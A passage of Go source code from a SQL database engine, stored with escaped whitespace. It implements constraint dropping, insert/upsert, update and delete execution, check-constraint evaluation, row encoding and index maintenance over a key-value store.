fmt.Errorf(\"%w %s because %s constraint requires it\", ErrCannotDropColumn, col.Name(), name)\n\t\t}\n\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}\n\nfunc persistColumnDeletion(ctx context.Context, tx *SQLTx, col *Column) error {\n\tmappedKey := MapKey(\n\t\ttx.sqlPrefix(),\n\t\tcatalogColumnPrefix,\n\t\tEncodeID(DatabaseID),\n\t\tEncodeID(col.table.id),\n\t\tEncodeID(col.id),\n\t\t[]byte(col.colType),\n\t)\n\n\treturn tx.delete(ctx, mappedKey)\n}\n\ntype DropConstraintStmt struct {\n\ttable          string\n\tconstraintName string\n}\n\nfunc (stmt *DropConstraintStmt) readOnly() bool {\n\treturn false\n}\n\nfunc (stmt *DropConstraintStmt) requiredPrivileges() []SQLPrivilege {\n\treturn []SQLPrivilege{SQLPrivilegeDrop}\n}\n\nfunc (stmt *DropConstraintStmt) execAt(ctx context.Context, tx *SQLTx, params map[string]interface{}) (*SQLTx, error) {\n\ttable, err := tx.catalog.GetTableByName(stmt.table)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tid, err := table.deleteCheck(stmt.constraintName)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\terr = persistCheckDeletion(ctx, tx, table.id, id)\n\n\ttx.mutatedCatalog = true\n\n\treturn tx, err\n}\n\nfunc persistCheckDeletion(ctx context.Context, tx *SQLTx, tableID uint32, checkId uint32) error {\n\tmappedKey := MapKey(\n\t\ttx.sqlPrefix(),\n\t\tcatalogCheckPrefix,\n\t\tEncodeID(DatabaseID),\n\t\tEncodeID(tableID),\n\t\tEncodeID(checkId),\n\t)\n\treturn tx.delete(ctx, mappedKey)\n}\n\nfunc (stmt *DropConstraintStmt) inferParameters(ctx context.Context, tx *SQLTx, params map[string]SQLValueType) error {\n\treturn nil\n}\n\ntype UpsertIntoStmt struct {\n\tisInsert   bool\n\ttableRef   *tableRef\n\tcols       []string\n\tds         DataSource\n\tonConflict *OnConflictDo\n}\n\nfunc (stmt *UpsertIntoStmt) readOnly() bool {\n\treturn false\n}\n\nfunc (stmt *UpsertIntoStmt) requiredPrivileges() []SQLPrivilege {\n\tprivileges := stmt.privileges()\n\tif stmt.ds != nil {\n\t\tprivileges = append(privileges, stmt.ds.requiredPrivileges()...)\n\t}\n\treturn privileges\n}\n\nfunc (stmt *UpsertIntoStmt) privileges() []SQLPrivilege {\n\tif stmt.isInsert {\n\t\treturn []SQLPrivilege{SQLPrivilegeInsert}\n\t}\n\treturn []SQLPrivilege{SQLPrivilegeInsert, SQLPrivilegeUpdate}\n}\n\nfunc NewUpsertIntoStmt(table string, cols []string, ds DataSource, isInsert bool, onConflict *OnConflictDo) *UpsertIntoStmt {\n\treturn &UpsertIntoStmt{\n\t\tisInsert:   isInsert,\n\t\ttableRef:   NewTableRef(table, \"\"),\n\t\tcols:       cols,\n\t\tds:         ds,\n\t\tonConflict: onConflict,\n\t}\n}\n\ntype RowSpec struct {\n\tValues []ValueExp\n}\n\nfunc NewRowSpec(values []ValueExp) *RowSpec {\n\treturn &RowSpec{\n\t\tValues: values,\n\t}\n}\n\ntype OnConflictDo struct{}\n\nfunc (stmt *UpsertIntoStmt) inferParameters(ctx context.Context, tx *SQLTx, params map[string]SQLValueType) error {\n\tds, ok := stmt.ds.(*valuesDataSource)\n\tif !ok {\n\t\treturn stmt.ds.inferParameters(ctx, tx, params)\n\t}\n\n\temptyDescriptors := make(map[string]ColDescriptor)\n\tfor _, row := range ds.rows {\n\t\tif len(stmt.cols) != len(row.Values) {\n\t\t\treturn ErrInvalidNumberOfValues\n\t\t}\n\n\t\tfor i, val := range row.Values {\n\t\t\ttable, err := stmt.tableRef.referencedTable(tx)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\tcol, err := table.GetColumnByName(stmt.cols[i])\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\terr = val.requiresType(col.colType, emptyDescriptors, params, table.name)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\t}\n\treturn nil\n}\n\nfunc (stmt *UpsertIntoStmt) validate(table *Table) (map[uint32]int, error) {\n\tselPosByColID := make(map[uint32]int, len(stmt.cols))\n\n\tfor i, c := range stmt.cols {\n\t\tcol, err := table.GetColumnByName(c)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\t_, duplicated := selPosByColID[col.id]\n\t\tif duplicated {\n\t\t\treturn nil, fmt.Errorf(\"%w (%s)\", ErrDuplicatedColumn, col.colName)\n\t\t}\n\n\t\tselPosByColID[col.id] = i\n\t}\n\n\treturn selPosByColID, nil\n}\n\nfunc (stmt *UpsertIntoStmt) execAt(ctx context.Context, tx *SQLTx, params map[string]interface{}) (*SQLTx, error) {\n\ttable, err := stmt.tableRef.referencedTable(tx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tselPosByColID, err := stmt.validate(table)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tr := &Row{\n\t\tValuesByPosition: make([]TypedValue, len(table.cols)),\n\t\tValuesBySelector: make(map[string]TypedValue),\n\t}\n\n\treader, err := stmt.ds.Resolve(ctx, tx, params, nil)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer reader.Close()\n\n\tfor {\n\t\trow, err := reader.Read(ctx)\n\t\tif errors.Is(err, ErrNoMoreRows) {\n\t\t\tbreak\n\t\t}\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tif len(row.ValuesByPosition) != len(stmt.cols) {\n\t\t\treturn nil, ErrInvalidNumberOfValues\n\t\t}\n\n\t\tvaluesByColID := make(map[uint32]TypedValue)\n\n\t\tvar pkMustExist bool\n\n\t\tfor colID, col := range table.colsByID {\n\t\t\tcolPos, specified := selPosByColID[colID]\n\t\t\tif !specified {\n\t\t\t\t// TODO: Default values\n\t\t\t\tif col.notNull && !col.autoIncrement {\n\t\t\t\t\treturn nil, fmt.Errorf(\"%w (%s)\", ErrNotNullableColumnCannotBeNull, col.colName)\n\t\t\t\t}\n\n\t\t\t\t// inject auto-incremental pk value\n\t\t\t\tif stmt.isInsert && col.autoIncrement {\n\t\t\t\t\t// current implementation assumes only PK can be set as autoincremental\n\t\t\t\t\ttable.maxPK++\n\n\t\t\t\t\tpkCol := table.primaryIndex.cols[0]\n\t\t\t\t\tvaluesByColID[pkCol.id] = &Integer{val: table.maxPK}\n\n\t\t\t\t\tif _, ok := tx.firstInsertedPKs[table.name]; !ok {\n\t\t\t\t\t\ttx.firstInsertedPKs[table.name] = table.maxPK\n\t\t\t\t\t}\n\t\t\t\t\ttx.lastInsertedPKs[table.name] = table.maxPK\n\t\t\t\t}\n\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\t// value was specified\n\t\t\tcVal := row.ValuesByPosition[colPos]\n\n\t\t\tval, err := cVal.substitute(params)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\n\t\t\trval, err := val.reduce(tx, nil, table.name)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\n\t\t\tif rval.IsNull() {\n\t\t\t\tif col.notNull || col.autoIncrement {\n\t\t\t\t\treturn nil, fmt.Errorf(\"%w (%s)\", ErrNotNullableColumnCannotBeNull, col.colName)\n\t\t\t\t}\n\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\tif col.autoIncrement {\n\t\t\t\t// validate specified value\n\t\t\t\tnl, isNumber := rval.RawValue().(int64)\n\t\t\t\tif !isNumber {\n\t\t\t\t\treturn nil, fmt.Errorf(\"%w (expecting numeric value)\", ErrInvalidValue)\n\t\t\t\t}\n\n\t\t\t\tpkMustExist = nl <= table.maxPK\n\n\t\t\t\tif _, ok := tx.firstInsertedPKs[table.name]; !ok {\n\t\t\t\t\ttx.firstInsertedPKs[table.name] = nl\n\t\t\t\t}\n\t\t\t\ttx.lastInsertedPKs[table.name] = nl\n\t\t\t}\n\n\t\t\tvaluesByColID[colID] = rval\n\t\t}\n\n\t\tfor i, col := range table.cols {\n\t\t\tv := valuesByColID[col.id]\n\n\t\t\tif v == nil {\n\t\t\t\tv = NewNull(AnyType)\n\t\t\t} else if len(table.checkConstraints) > 0 && col.Type() == JSONType {\n\t\t\t\ts, _ := v.RawValue().(string)\n\t\t\t\tjsonVal, err := NewJsonFromString(s)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn nil, err\n\t\t\t\t}\n\t\t\t\tv = jsonVal\n\t\t\t}\n\n\t\t\tr.ValuesByPosition[i] = v\n\t\t\tr.ValuesBySelector[EncodeSelector(\"\", table.name, col.colName)] = v\n\t\t}\n\n\t\tif err := checkConstraints(tx, table.checkConstraints, r, table.name); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tpkEncVals, err := encodedKey(table.primaryIndex, valuesByColID)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\t// pk entry\n\t\tmappedPKey := MapKey(tx.sqlPrefix(), MappedPrefix, EncodeID(table.id), EncodeID(table.primaryIndex.id), pkEncVals, pkEncVals)\n\t\tif len(mappedPKey) > MaxKeyLen {\n\t\t\treturn nil, ErrMaxKeyLengthExceeded\n\t\t}\n\n\t\t_, err = tx.get(ctx, mappedPKey)\n\t\tif err != nil && !errors.Is(err, store.ErrKeyNotFound) {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tif errors.Is(err, store.ErrKeyNotFound) && pkMustExist {\n\t\t\treturn nil, fmt.Errorf(\"%w: specified value must be greater than current one\", ErrInvalidValue)\n\t\t}\n\n\t\tif stmt.isInsert {\n\t\t\tif err == nil && stmt.onConflict == nil {\n\t\t\t\treturn nil, store.ErrKeyAlreadyExists\n\t\t\t}\n\n\t\t\tif err == nil && stmt.onConflict != nil {\n\t\t\t\t// TODO: conflict resolution may be extended. Currently only supports \"ON CONFLICT DO NOTHING\"\n\t\t\t\tcontinue\n\t\t\t}\n\t\t}\n\n\t\terr = tx.doUpsert(ctx, pkEncVals, valuesByColID, table, !stmt.isInsert)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\treturn tx, nil\n}\n\nfunc checkConstraints(tx *SQLTx, checks map[string]CheckConstraint, row *Row, table string) error {\n\tfor _, check := range checks {\n\t\tval, err := check.exp.reduce(tx, row, table)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"%w: %s\", ErrCheckConstraintViolation, err)\n\t\t}\n\n\t\tif val.Type() != BooleanType {\n\t\t\treturn ErrInvalidCheckConstraint\n\t\t}\n\n\t\tif !val.RawValue().(bool) {\n\t\t\treturn fmt.Errorf(\"%w: %s\", ErrCheckConstraintViolation, check.exp.String())\n\t\t}\n\t}\n\treturn nil\n}\n\nfunc (tx *SQLTx) encodeRowValue(valuesByColID map[uint32]TypedValue, table *Table) ([]byte, error) {\n\tvalbuf := bytes.Buffer{}\n\n\t// null values are not serialized\n\tencodedVals := 0\n\tfor _, v := range valuesByColID {\n\t\tif !v.IsNull() {\n\t\t\tencodedVals++\n\t\t}\n\t}\n\n\tb := make([]byte, EncLenLen)\n\tbinary.BigEndian.PutUint32(b, uint32(encodedVals))\n\n\t_, err := valbuf.Write(b)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tfor _, col := range table.cols {\n\t\trval, specified := valuesByColID[col.id]\n\t\tif !specified || rval.IsNull() {\n\t\t\tcontinue\n\t\t}\n\n\t\tb := make([]byte, EncIDLen)\n\t\tbinary.BigEndian.PutUint32(b, uint32(col.id))\n\n\t\t_, err = valbuf.Write(b)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"%w: table: %s, column: %s\", err, table.name, col.colName)\n\t\t}\n\n\t\tencVal, err := EncodeValue(rval, col.colType, col.MaxLen())\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"%w: table: %s, column: %s\", err, table.name, col.colName)\n\t\t}\n\n\t\t_, err = valbuf.Write(encVal)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"%w: table: %s, column: %s\", err, table.name, col.colName)\n\t\t}\n\t}\n\n\treturn valbuf.Bytes(), nil\n}\n\nfunc (tx *SQLTx) doUpsert(ctx context.Context, pkEncVals []byte, valuesByColID map[uint32]TypedValue, table *Table, reuseIndex bool) error {\n\tvar reusableIndexEntries map[uint32]struct{}\n\n\tif reuseIndex && len(table.indexes) > 1 {\n\t\tcurrPKRow, err := tx.fetchPKRow(ctx, table, valuesByColID)\n\t\tif err == nil {\n\t\t\tcurrValuesByColID := make(map[uint32]TypedValue, len(currPKRow.ValuesBySelector))\n\n\t\t\tfor _, col := range table.cols {\n\t\t\t\tencSel := EncodeSelector(\"\", table.name, col.colName)\n\t\t\t\tcurrValuesByColID[col.id] = currPKRow.ValuesBySelector[encSel]\n\t\t\t}\n\n\t\t\treusableIndexEntries, err = tx.deprecateIndexEntries(pkEncVals, currValuesByColID, valuesByColID, table)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t} else if !errors.Is(err, ErrNoMoreRows) {\n\t\t\treturn err\n\t\t}\n\t}\n\n\trowKey := MapKey(tx.sqlPrefix(), RowPrefix, EncodeID(DatabaseID), EncodeID(table.id), EncodeID(PKIndexID), pkEncVals)\n\n\tencodedRowValue, err := tx.encodeRowValue(valuesByColID, table)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\terr = tx.set(rowKey, nil, encodedRowValue)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// create in-memory and validate entries for secondary indexes\n\tfor _, index := range table.indexes {\n\t\tif index.IsPrimary() {\n\t\t\tcontinue\n\t\t}\n\n\t\tif reusableIndexEntries != nil {\n\t\t\t_, reusable := reusableIndexEntries[index.id]\n\t\t\tif reusable {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t}\n\n\t\tencodedValues := make([][]byte, 2+len(index.cols))\n\t\tencodedValues[0] = EncodeID(table.id)\n\t\tencodedValues[1] = EncodeID(index.id)\n\n\t\tindexKeyLen := 0\n\n\t\tfor i, col := range index.cols {\n\t\t\trval, specified := valuesByColID[col.id]\n\t\t\tif !specified {\n\t\t\t\trval = &NullValue{t: col.colType}\n\t\t\t}\n\n\t\t\tencVal, n, err := EncodeValueAsKey(rval, col.colType, col.MaxLen())\n\t\t\tif err != nil {\n\t\t\t\treturn fmt.Errorf(\"%w: index on '%s' and column '%s'\", err, index.Name(), col.colName)\n\t\t\t}\n\n\t\t\tif n > MaxKeyLen {\n\t\t\t\treturn fmt.Errorf(\"%w: can not index entry for column '%s'. Max key length for variable columns is %d\", ErrLimitedKeyType, col.colName, MaxKeyLen)\n\t\t\t}\n\n\t\t\tindexKeyLen += n\n\n\t\t\tencodedValues[i+2] = encVal\n\t\t}\n\n\t\tif indexKeyLen > MaxKeyLen {\n\t\t\treturn fmt.Errorf(\"%w: can not index entry using columns '%v'. Max key length is %d\", ErrLimitedKeyType, index.cols, MaxKeyLen)\n\t\t}\n\n\t\tsmkey := MapKey(tx.sqlPrefix(), MappedPrefix, encodedValues...)\n\n\t\t// no other equivalent entry should be already indexed\n\t\tif index.IsUnique() {\n\t\t\t_, valRef, err := tx.getWithPrefix(ctx, smkey, nil)\n\t\t\tif err == nil && (valRef.KVMetadata() == nil || !valRef.KVMetadata().Deleted()) {\n\t\t\t\treturn store.ErrKeyAlreadyExists\n\t\t\t} else if !errors.Is(err, store.ErrKeyNotFound) {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\n\t\terr = tx.setTransient(smkey, nil, encodedRowValue) // only-indexable\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\ttx.updatedRows++\n\n\treturn nil\n}\n\nfunc encodedKey(index *Index, valuesByColID map[uint32]TypedValue) ([]byte, error) {\n\tvalbuf := bytes.Buffer{}\n\n\tindexKeyLen := 0\n\n\tfor _, col := range index.cols {\n\t\trval, specified := valuesByColID[col.id]\n\t\tif !specified || rval.IsNull() {\n\t\t\treturn nil, ErrPKCanNotBeNull\n\t\t}\n\n\t\tencVal, n, err := EncodeValueAsKey(rval, col.colType, col.MaxLen())\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"%w: index of table '%s' and column '%s'\", err, index.table.name, col.colName)\n\t\t}\n\n\t\tif n > MaxKeyLen {\n\t\t\treturn nil, fmt.Errorf(\"%w: invalid key entry for column '%s'. Max key length for variable columns is %d\", ErrLimitedKeyType, col.colName, MaxKeyLen)\n\t\t}\n\n\t\tindexKeyLen += n\n\n\t\t_, err = valbuf.Write(encVal)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\tif indexKeyLen > MaxKeyLen {\n\t\treturn nil, fmt.Errorf(\"%w: invalid key entry using columns '%v'. Max key length is %d\", ErrLimitedKeyType, index.cols, MaxKeyLen)\n\t}\n\n\treturn valbuf.Bytes(), nil\n}\n\nfunc (tx *SQLTx) fetchPKRow(ctx context.Context, table *Table, valuesByColID map[uint32]TypedValue) (*Row, error) {\n\tpkRanges := make(map[uint32]*typedValueRange, len(table.primaryIndex.cols))\n\n\tfor _, pkCol := range table.primaryIndex.cols {\n\t\tpkVal := valuesByColID[pkCol.id]\n\n\t\tpkRanges[pkCol.id] = &typedValueRange{\n\t\t\tlRange: &typedValueSemiRange{val: pkVal, inclusive: true},\n\t\t\thRange: &typedValueSemiRange{val: pkVal, inclusive: true},\n\t\t}\n\t}\n\n\tscanSpecs := &ScanSpecs{\n\t\tIndex:         table.primaryIndex,\n\t\trangesByColID: pkRanges,\n\t}\n\n\tr, err := newRawRowReader(tx, nil, table, period{}, table.name, scanSpecs)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tdefer func() {\n\t\tr.Close()\n\t}()\n\n\treturn r.Read(ctx)\n}\n\n// deprecateIndexEntries mark previous index entries as deleted\nfunc (tx *SQLTx) deprecateIndexEntries(\n\tpkEncVals []byte,\n\tcurrValuesByColID, newValuesByColID map[uint32]TypedValue,\n\ttable *Table) (reusableIndexEntries map[uint32]struct{}, err error) {\n\n\tencodedRowValue, err := tx.encodeRowValue(currValuesByColID, table)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treusableIndexEntries = make(map[uint32]struct{})\n\n\tfor _, index := range table.indexes {\n\t\tif index.IsPrimary() {\n\t\t\tcontinue\n\t\t}\n\n\t\tencodedValues := make([][]byte, 2+len(index.cols)+1)\n\t\tencodedValues[0] = EncodeID(table.id)\n\t\tencodedValues[1] = EncodeID(index.id)\n\t\tencodedValues[len(encodedValues)-1] = pkEncVals\n\n\t\t// existent index entry is deleted only if it differs from existent one\n\t\tsameIndexKey := true\n\n\t\tfor i, col := range index.cols {\n\t\t\tcurrVal, specified := currValuesByColID[col.id]\n\t\t\tif !specified {\n\t\t\t\tcurrVal = &NullValue{t: col.colType}\n\t\t\t}\n\n\t\t\tnewVal, specified := newValuesByColID[col.id]\n\t\t\tif !specified {\n\t\t\t\tnewVal = &NullValue{t: col.colType}\n\t\t\t}\n\n\t\t\tr, err := currVal.Compare(newVal)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\n\t\t\tsameIndexKey = sameIndexKey && r == 0\n\n\t\t\tencVal, _, _ := EncodeValueAsKey(currVal, col.colType, col.MaxLen())\n\n\t\t\tencodedValues[i+3] = encVal\n\t\t}\n\n\t\t// mark existent index entry as deleted\n\t\tif sameIndexKey {\n\t\t\treusableIndexEntries[index.id] = struct{}{}\n\t\t} else {\n\t\t\tmd := store.NewKVMetadata()\n\n\t\t\tmd.AsDeleted(true)\n\n\t\t\terr = tx.set(MapKey(tx.sqlPrefix(), MappedPrefix, encodedValues...), md, encodedRowValue)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t}\n\t}\n\n\treturn reusableIndexEntries, nil\n}\n\ntype UpdateStmt struct {\n\ttableRef *tableRef\n\twhere    ValueExp\n\tupdates  []*colUpdate\n\tindexOn  []string\n\tlimit    ValueExp\n\toffset   ValueExp\n}\n\ntype colUpdate struct {\n\tcol string\n\top  CmpOperator\n\tval ValueExp\n}\n\nfunc (stmt *UpdateStmt) readOnly() bool {\n\treturn false\n}\n\nfunc (stmt *UpdateStmt) requiredPrivileges() []SQLPrivilege {\n\treturn []SQLPrivilege{SQLPrivilegeUpdate}\n}\n\nfunc (stmt *UpdateStmt) inferParameters(ctx context.Context, tx *SQLTx, params map[string]SQLValueType) error {\n\tselectStmt := &SelectStmt{\n\t\tds:    stmt.tableRef,\n\t\twhere: stmt.where,\n\t}\n\n\terr := selectStmt.inferParameters(ctx, tx, params)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\ttable, err := stmt.tableRef.referencedTable(tx)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tfor _, update := range stmt.updates {\n\t\tcol, err := table.GetColumnByName(update.col)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\terr = update.val.requiresType(col.colType, make(map[string]ColDescriptor), params, table.name)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\treturn nil\n}\n\nfunc (stmt *UpdateStmt) validate(table *Table) error {\n\tcolIDs := make(map[uint32]struct{}, len(stmt.updates))\n\n\tfor _, update := range stmt.updates {\n\t\tif update.op != EQ {\n\t\t\treturn ErrIllegalArguments\n\t\t}\n\n\t\tcol, err := table.GetColumnByName(update.col)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tif table.PrimaryIndex().IncludesCol(col.id) {\n\t\t\treturn ErrPKCanNotBeUpdated\n\t\t}\n\n\t\t_, duplicated := colIDs[col.id]\n\t\tif duplicated {\n\t\t\treturn ErrDuplicatedColumn\n\t\t}\n\n\t\tcolIDs[col.id] = struct{}{}\n\t}\n\n\treturn nil\n}\n\nfunc (stmt *UpdateStmt) execAt(ctx context.Context, tx *SQLTx, params map[string]interface{}) (*SQLTx, error) {\n\tselectStmt := &SelectStmt{\n\t\tds:      stmt.tableRef,\n\t\twhere:   stmt.where,\n\t\tindexOn: stmt.indexOn,\n\t\tlimit:   stmt.limit,\n\t\toffset:  stmt.offset,\n\t}\n\n\trowReader, err := selectStmt.Resolve(ctx, tx, params, nil)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer rowReader.Close()\n\n\ttable := rowReader.ScanSpecs().Index.table\n\n\terr = stmt.validate(table)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tcols, err := rowReader.colsBySelector(ctx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tfor {\n\t\trow, err := rowReader.Read(ctx)\n\t\tif errors.Is(err, ErrNoMoreRows) {\n\t\t\tbreak\n\t\t} else if err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tvaluesByColID := make(map[uint32]TypedValue, len(row.ValuesBySelector))\n\n\t\tfor _, col := range table.cols {\n\t\t\tencSel := EncodeSelector(\"\", table.name, col.colName)\n\t\t\tvaluesByColID[col.id] = row.ValuesBySelector[encSel]\n\t\t}\n\n\t\tfor _, update := range stmt.updates {\n\t\t\tcol, err := table.GetColumnByName(update.col)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\n\t\t\tsval, err := update.val.substitute(params)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\n\t\t\trval, err := sval.reduce(tx, row, table.name)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\n\t\t\terr = rval.requiresType(col.colType, cols, nil, table.name)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\n\t\t\tvaluesByColID[col.id] = rval\n\t\t}\n\n\t\tfor i, col := range table.cols {\n\t\t\tv := valuesByColID[col.id]\n\n\t\t\trow.ValuesByPosition[i] = v\n\t\t\trow.ValuesBySelector[EncodeSelector(\"\", table.name, col.colName)] = v\n\t\t}\n\n\t\tif err := checkConstraints(tx, table.checkConstraints, row, table.name); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tpkEncVals, err := encodedKey(table.primaryIndex, valuesByColID)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\t// primary index entry\n\t\tmkey := MapKey(tx.sqlPrefix(), MappedPrefix, EncodeID(table.id), EncodeID(table.primaryIndex.id), pkEncVals, pkEncVals)\n\n\t\t// mkey must exist\n\t\t_, err = tx.get(ctx, mkey)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\terr = tx.doUpsert(ctx, pkEncVals, valuesByColID, table, true)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\treturn tx, nil\n}\n\ntype DeleteFromStmt struct {\n\ttableRef *tableRef\n\twhere    ValueExp\n\tindexOn  []string\n\torderBy  []*OrdExp\n\tlimit    ValueExp\n\toffset   ValueExp\n}\n\nfunc NewDeleteFromStmt(table string, where ValueExp, orderBy []*OrdExp, limit ValueExp) *DeleteFromStmt {\n\treturn &DeleteFromStmt{\n\t\ttableRef: NewTableRef(table, \"\"),\n\t\twhere:    where,\n\t\torderBy:  orderBy,\n\t\tlimit:    limit,\n\t}\n}\n\nfunc (stmt *DeleteFromStmt) readOnly() bool {\n\treturn false\n}\n\nfunc (stmt *DeleteFromStmt) requiredPrivileges() []SQLPrivilege {\n\treturn []SQLPrivilege{SQLPrivilegeDelete}\n}\n\nfunc (stmt *DeleteFromStmt) inferParameters(ctx context.Context, tx *SQLTx, params map[string]SQLValueType) error {\n\tselectStmt := &SelectStmt{\n\t\tds:      stmt.tableRef,\n\t\twhere:   stmt.where,\n\t\torderBy: stmt.orderBy,\n\t}\n\treturn selectStmt.inferParameters(ctx, tx, params)\n}\n\nfunc (stmt *DeleteFromStmt) execAt(ctx context.Context, tx *SQLTx, params map[string]interface{}) (*SQLTx, error) {\n\tselectStmt := &SelectStmt{\n\t\tds:      stmt.tableRef,\n\t\twhere:   stmt.where,\n\t\tindexOn: stmt.indexOn,\n\t\torderBy: stmt.orderBy,\n\t\tlimit:   stmt.limit,\n\t\toffset:  stmt.offset,\n\t}\n\n\trowReader, err := selectStmt.Resolve(ctx, tx, params, nil)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer rowReader.Close()\n\n\ttable := rowReader.ScanSpecs().Index.table\n\n\tfor {\n\t\trow, err := rowReader.Read(ctx)\n\t\tif errors.Is(err, ErrNoMoreRows) {\n\t\t\tbreak\n\t\t}\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tvaluesByColID := make(map[uint32]TypedValue, len(row.ValuesBySelector))\n\n\t\tfor _, col := range table.cols {\n\t\t\tencSel := EncodeSelector(\"\", table.name, col.colName)\n\t\t\tvaluesByColID[col.id] = row.ValuesBySelector[encSel]\n\t\t}\n\n\t\tpkEncVals, err := encodedKey(table.primaryIndex, valuesByColID)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\terr = tx.deleteIndexEntries(pkEncVals, valuesByColID, table)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\ttx.updatedRows++\n\t}\n\treturn tx, nil\n}\n\nfunc (tx *SQLTx) deleteIndexEntries(pkEncVals []byte, valuesByColID map[uint32]TypedValue, table *Table) error {\n\tencodedRowValue, err := tx.encodeRowValue(valuesByColID, table)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tfor _, index := range table.indexes {\n\t\tif !index.IsPrimary() {\n\t\t\tcontinue\n\t\t}\n\n\t\tencodedValues := make([][]byte, 3+len(index.cols))\n\t\tencodedValues[0] = EncodeID(DatabaseID)\n\t\tencodedValues[1] = EncodeID(table.id)\n\t\tencodedValues[2] = EncodeID(index.id)\n\n\t\tfor i, col := range index.cols {\n\t\t\tval, specified := valuesByColID[col.id]\n\t\t\tif !specified {\n\t\t\t\tval = &NullValue{t: col.colType}\n\t\t\t}\n\n\t\t\tencVal, _, _ := EncodeValueAsKey(val, col.colType, col.MaxLen())\n\n\t\t\tencodedValues[i+3] = encVal\n\t\t}\n\n\t\tmd := store.NewKVMetadata()\n\n\t\tmd.AsDeleted(true)\n\n\t\terr := tx.set(MapKey(tx.sqlPrefix(), RowPrefix, encodedValues...), md, encodedRowValue)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\treturn nil\n}\n\ntype ValueExp interface {\n\tinferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error)\n\trequiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error\n\tsubstitute(params map[string]interface{}) (ValueExp, error)\n\tselectors() []Selector\n\treduce(tx *SQLTx, row *Row, implicitTable string) (TypedValue, error)\n\treduceSelectors(row *Row, implicitTable string) ValueExp\n\tisConstant() bool\n\tselectorRanges(table *Table, asTable string, params map[string]interface{}, rangesByColID map[uint32]*typedValueRange) error\n\tString() string\n}\n\ntype typedValueRange struct {\n\tlRange *typedValueSemiRange\n\thRange *typedValueSemiRange\n}\n\ntype typedValueSemiRange struct {\n\tval       TypedValue\n\tinclusive bool\n}\n\nfunc (r *typedValueRange) unitary() bool {\n\t// TODO: this simplified implementation doesn't cover all unitary cases e.g. 3<=v<4\n\tif r.lRange == nil || r.hRange == nil {\n\t\treturn false\n\t}\n\n\tres, _ := r.lRange.val.Compare(r.hRange.val)\n\treturn res == 0 && r.lRange.inclusive && r.hRange.inclusive\n}\n\nfunc (r *typedValueRange) refineWith(refiningRange *typedValueRange) error {\n\tif r.lRange == nil {\n\t\tr.lRange = refiningRange.lRange\n\t} else if r.lRange != nil && refiningRange.lRange != nil 